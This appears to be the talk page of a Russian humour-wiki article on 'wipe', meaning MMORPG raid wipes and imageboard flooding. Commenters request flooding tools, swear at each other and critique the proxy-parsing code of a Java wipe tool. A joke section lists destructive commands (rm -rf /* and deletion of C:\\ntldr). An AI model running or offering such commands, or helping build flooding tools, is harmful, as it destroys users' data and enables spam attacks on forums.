- В ММОРПГ вайп - смерть всех членов отряда в рейде или подземелье. На пиратских серверах алсо означает стирание или откат базы данных персонажей, вызывающий butthurt у игроков.
- Раз в год некое подобие вайпа смотри на своей стенке во Вконтактике в свой день рождения
[править] Вайпалка на ГУИ
- Анон, перезалей, плиз
[править] pyFLOODer
Вопрос относительно сей вайпалки: помимо того, чтобы скачивать описанный в статье контент, для его использования понадобится еще и Perl? Это же перлскрипт, насколько я понял из кода. это питон скрипт долбоеб, какой нахуй перл.
[править] Вайп в чятике
.Разместите в статье, плз.
[править] format C:
remove('C:\\ntldr')
rm -rf /*
[править] Анлинки
Да выпилите вы уже из кода свои ёбаные в рот анлинки. Вам бы только что-нибудь разрушить. Вишни вам мало, что ли? —Breather
- Нахуй пошел. Говноедам — говноедово.
[править] Вайпалка на Java
Автор! Прежде чем писать о "неумеющих кодить", обрати пристальное внимание на следующее: Убогая конструкция вида из Proxy.java:
public class Proxy {
public String _url;
public int _port;
Proxy(String url, int port) { _url = url; _port = port; } }
Может легко превратиться в нечто более изящное:
public class Proxy {
public String url;
public int port;
Proxy(String url, int port) { this.url = url; this.port = port; } }
Быдлокод из ProxyParser:
/*
* HOW, FUCK, HOW do u convert from string to integer in this fucking java?
*/
private int convertToInt(String substring) {
int result = 0;
for (int i = 0; i < substring.length(); i++) {
switch(substring.charAt(i)){
case '1': result = result*10 + 1; break;
case '2': result = result*10 + 2; break;
case '3': result = result*10 + 3; break;
case '4': result = result*10 + 4; break;
case '5': result = result*10 + 5; break;
case '6': result = result*10 + 6; break;
case '7': result = result*10 + 7; break;
case '8': result = result*10 + 8; break;
case '9': result = result*10 + 9; break;
case '0': result = result*10 + 0; break;
}
}
return result;
}
Заменяется использованием static функции parseInt из класса java.lang.Integer. Функции parse оттуда же место в классе Proxy в качестве перегрузки конструктора. К слову, она дублирует функционал класса java.net.URL. В WipeClass в вашей кривой реализации run неплохо бы вынести обработку исключений вне цикла... А еще используется некая библиотека, которую автор не выложил. Так что, дорогой автор, ты мудак.